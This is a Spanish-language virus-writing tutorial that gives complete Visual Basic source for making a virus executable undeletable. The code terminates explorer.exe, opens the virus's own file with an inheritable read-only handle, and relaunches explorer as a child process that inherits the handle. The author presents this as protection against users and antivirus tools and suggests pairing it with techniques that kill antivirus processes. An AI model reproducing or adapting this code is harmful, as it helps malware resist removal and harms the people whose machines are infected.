#Protegiendo un ejecutable del borrado
#Autor: MachineDramon

#Este articulo contiene un source

Vamos a ver una forma de "proteger" un poco el ejecutable de nuestro virus.

Usaremos la api CreateFile que nos permite crear o abrir un archivo:

Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA"
(ByVal lpFileName As String,
ByVal dwDesiredAccess As Long,
ByVal dwShareMode As Long,
lpSecurityAttributes As SECURITY_ATTRIBUTES,
ByVal dwCreationDisposition As Long,
ByVal dwFlagsAndAttributes As Long,
ByVal hTemplateFile As Long) As Long

Donde:

lpFilename: cadena con la ruta y nombre de archivo que se quiere crear o abrir.
------------------------------------------------------------------------
dwDesiredAccess: es el modo de acceso que se quiere tener al archivo, generalmente se usa GENERIC_READ (Lectura) , GENERIC_WRITE (Escritura) o ambos ,(xp soporta otros modos).
------------------------------------------------------------------------
dwShareMode: es el modo en que compartiremos el archivo abierto con otros procesos, puede ser FILE_SHARE_READ (Compartido para lectura) FILE_SHARE_WRITE (Compartido para escritura) o ambos, si ponemos 0 no se compartira.
------------------------------------------------------------------------
lpSecurityAttributes: (Opcional) es una estructura del tipo SECURITY_ATTRIBUTES

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Donde:
nLength: tamaño de la estructura.

lpSecurityDescriptor: descriptor de seguridad, esto se usa en los NT nose bien que significa, le ponemos 0.

bInheritHandle: valor booleano que indica si el handle obtenido sera heredable o no; True para que sea heredable y False para que no
lo sea.
------------------------------------------------------------------------

dwCreationDisposition: opciones que indican el comportamiento de la funcion si el archivo no existe o si existe, por ejemplo:

CREATE_NEW = 1 'Crea uno nuevo, si existe el archivo falla
CREATE_ALWAYS = 2 'Crea uno nuevo siempre, si existe lo sobreescribe
OPEN_ALWAYS = 4 'Abre un archivo, si no existe lo crea
OPEN_EXISTING = 3 'Abre un archivo, si no existe falla

(hay más opciones)
------------------------------------------------------------------------
dwFlagsAndAttributes: (Opcional) valido si estamos creando el archivo, aqui se especifican los atributos del archivo a crear, Ejemplo:

FILE_ATTRIBUTE_ARCHIVE = &H20 'Atributos dearchivo
FILE_ATTRIBUTE_HIDDEN = &H2 'Archivo oculto
FILE_ATTRIBUTE_NORMAL = &H80 'sin atributos
FILE_ATTRIBUTE_READONLY = &H1 'solo lectura
FILE_ATTRIBUTE_SYSTEM = &H4 'archivo de sistema

(hay otros attributos)
(se pueden combinar los atributos con el signo +)
------------------------------------------------------------------------
hTemplateFile: (Opcional) handle a un archivo abierto que servira de plantilla para el creado. El creado heredara sus atributos.
------------------------------------------------------------------------

Lo que nos interesa de esta funcion es su argumento dwShareMode ya que suponiendo que abrimos un archivo y colocamos 0 en ese argumento,
(que no se comparta), ningun otro proceso tendra acceso al archivo que hemos abierto mientras nosotros seamos propietarios de él, y somos
propietarios, mientras tengamos el handle al archivo (que lo perdemos al llamar a CloseHandle) y si no llamamos a CloseHandle, seremos propietarios, mientras nos estemos ejecutando.

Normalmente se llama a CreateFile:

HANDLE = CreateFile(argumentos)
<operaciones que hacemos al archivo>
CloseHandle(HANDLE)

Cuando abrimos un archivo con CreateFile se crea un "objeto" y nos devuelve un handle(manejador) al objeto, y si la teoria no me falla, el sistema solo elimina un objeto cuando ya no hay handles que apunten a el.Entonces el objeto existira mientras haya un proceso que tenga un handle a él, los permisos del objeto se conservan, osea que mientras exista un proceso con un handle al archivo, sus opciones de comparticion con otros procesos se mantienen.

Ahora el handle puede pasarse de un proceso a otro(en cierta forma).
Si un proceso A obtiene un handle al archivo File con la opcion de que sea heredable y luego A inicia un proceso B (con CreateProcess) con la opcion de heredarle sus handle, entonces, ahora A y B tendran un handle a File.

Bueno ahora la idea de este texto, el virus abrira su propio ejecutable para acceso de LECTURA y se compartira solo con permiso de LECTURA y con la opcion de que el handle sea heredable, obtendra un handle a su ejecutable y NO llamara a CloseHandle

Ahora mientras el virus tenga el handle ningun proceso podra acceder al archivo, mas que para leerlo. Estaran diciendo, eso se logra solo con que el virus se este ejecutando, ya con eso su ejecutable no se puede borrar y bastara que cierren el proceso del virus para que el handle se pierda y lo puedan borrar, pos si, pero todavia falta una parte de la idea.

Entonces el virus tiene un handle heredable a si mismo, ahora vamos a heredarlo a otro proceso, y el proceso al que se lo heredaremos era el del explorer.exe, para eso deberemos cerrar el explorer.exe y luego ejecutarlo con createprocess como un proceso hijo, eredandole el handle al ejecutable del virus, entonces suponiendo el user actualiza su av y este detecta el virus, pero no lo puede eliminar porque esta en ejecucion entonces el user se baja un visor de procesos y termina el proceso del virus y hay se podria ormalmente eliminar con el av o el mismo user eliminaria el archivo, pero como ahora el explorer.exe tiene un handle al archivo y como dijimos antes, mientras exista un handle los permisos se conservan entonces, aunque el virus ya no este en ejecucion, su archivo no se podra borrar, porque no tendra permiso de escritura. el user podra tratar de borrar el archivo, abriendo el explorador de windows que es el explorer.exe y buscando el archivo para borrarlo, pero tampoco podra, porque el explorer.exe tiene el handle, pero solo con acceso de lectura, recordar que el virus le heredo un handle de solo lectura. Para borrar un archivo, hay que tener acceso a el con permiso de escritura.
Bastaria con que el user cierre el proceso del explorer.exe ,inicie otro y nos borre, pero el user no sabe que el explorer.exe nos esta protegiendo.

Esto más que todo nos puede servir para protegernos del usuario que termine nuestro proceso y trate de borrarnos a mano, de los antivirus no creo que proteja para nada, porque la vacuna en tiempo real nos eliminaria en el proximo reinicio, aunque con la vacuna del The Hacker Antivirus en Win98 (no he probado en winXP) si funka osea para tener mayor proteccion contra avs, esto debe usarse en combinaci-
on con tecnicas retrovirales, como el cierre de ventanas y procesos de avs, etc.

Esto nos puede dar un poco de proteccion, aunque nos podran borrar de otras
muchas formas.

Codigo de Ejemplo en VB:
---------------------------------------------------------------------------
'Apis, estructuras y constantes que usaremos
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function SetPriorityClass Lib "kernel32" (ByVal hProcess As Long, ByVal dwPriorityClass As Long) As Long
Private Const HIGH_PRIORITY_CLASS = &H80
Private Const NORMAL_PRIORITY_CLASS = &H20

Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Const GENERIC_READ = &H80000000
Private Const FILE_SHARE_READ = &H1
Private Const OPEN_EXISTING = 3

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Const PROCESS_TERMINATE = &H1

Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Long, lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Long, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type

Private Const STARTF_USESHOWWINDOW = &H1
Private Const SW_NORMAL = 1
'_________________________________________________________________________
Private Sub Form_Load()
On Error Resume Next
'Declaramos variables y obtenemos la ruta del directorio de windows
'y la ruta de nuestro ejecutable
Dim miRuta As String, windir As String, l As Long
miRuta = Space$(255): windir = Space$(255)
l = GetModuleFileName(0, miRuta, 255): miRuta = Left$(miRuta, l)
l = GetWindowsDirectory(windir, 255): windir = Left$(windir, l)

'como el tiempo entre que cerramos el explorer.exe y lo volvemos a
'ejecutar debe ser el menos posible, subimos la prioridad a nuestro
'proceso, para ganar velocidad
'GetCurrentProcess segun teoria nos da un "pseudohandle" a nuestro
'proceso, pero es manejador al proceso
'a SetPriorityClass le pasamos el handle al proceso y el nivel de prioridad
'a establecer
Call SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS)

'mas variables, T igualamos a Timer (Timer da el numero de segundos
'que han pasado desde las 12 de la noche)
Dim He As Long, pid As Long
He = 0: T = Timer

'iniciamos un bucle, que terminara cuando He sea diferente de 0
'o hayan pasado más de 300 segundos (5 minutos)
Do While (He = 0)
'esto es para averiguar el indentificador de proceso(PID) del
'explorer.exe, con FindWindow buscamos la ventana cuya clase
'es Shell_TrayWnd, que es la barra de inicio, que es una ventana
'del explorer.exe, si la encuentra nos devuelve el handle de la ventana
He = FindWindow("Shell_TrayWnd", vbNullString)
If Format(Timer - T, "0.00") > 300 Then Exit Sub
Loop

'si obtuvimos un handle, lo pasamos a GetWindowThreadProcessId, que nos
'devuelve el PID del explorer.exe en la var pid
If (He <> 0) Then Call GetWindowThreadProcessId(He, pid)

'si obtuvimos un pid
If (pid <> 0) Then
Dim op As Long
'abrimos el proceso, con OpenProcess con la opcion PROCESS_TERMINATE,
'si tenemos permisos para terminar el proceso, nos devuelve un handle
'al proceso del explorer.exe, sino nos devolvera 0
op = OpenProcess(PROCESS_TERMINATE, 0, pid)
'si tenemos un handle
If (op <> 0) Then
'terminamos el proceso y liberamos el handle
Call TerminateProcess(op, 0)
Call CloseHandle(op)
End If
End If

'declaramos una estructura SECURITY_ATTRIBUTES
Dim sa As SECURITY_ATTRIBUTES
sa.nLength = Len(sa) 'el tamaño de la structura
sa.bInheritHandle = True 'establecemos que el handle sea heredable
sa.lpSecurityDescriptor = 0 'esto no lo usamos, ponemos 0 (que sera esto?)

'abrimos nuestro ejecutable con acceso de lectura y modo compartido
'de solo lectura y CreateFile nos devuelve un handle al archivo en Hl
Dim Hl As Long
Hl = CreateFile(miRuta, GENERIC_READ, FILE_SHARE_READ, sa, OPEN_EXISTING, 0, 0)
'NO llamamos a CloseHandle
'''Call CloseHandle(Hl)

'declaramos estructuras STARTUPINFO y PROCESS_INFORMATION
Dim sp As STARTUPINFO, ip As PROCESS_INFORMATION
sp.cb = Len(sp) 'tamaño de la estructura
sp.dwFlags = STARTF_USESHOWWINDOW 'indicamos que use el valor pasado en el miembro .wShowWindow
sp.wShowWindow = SW_NORMAL 'indica como mostrar la ventana del proceso que se va a iniciar

'iniciamos el proceso, observese el 5° argumento que es 1 (True) y que
'indica que se heredaran los handles del proceso padre al proceso hijo
Call CreateProcess(windir & "\explorer.exe", vbNullString, ByVal 0&, ByVal 0&, ByVal 1, ByVal 0, ByVal 0&, vbNullString, sp, ip)

'volvemos a establecer la prioridad de nuestro proceso a normal
Call SetPriorityClass(GetCurrentProcess(), NORMAL_PRIORITY_CLASS)

'End
End Sub

---------------------------------------------------------------------------

Esto lo he probado en win98 y winXP, ha veces el explorer abierto se ha vuelto un inestable y a veces no (o sera mi windows, que siempre se le anda colgando el explorer), no lo he probado en cuentas limitadas en XP.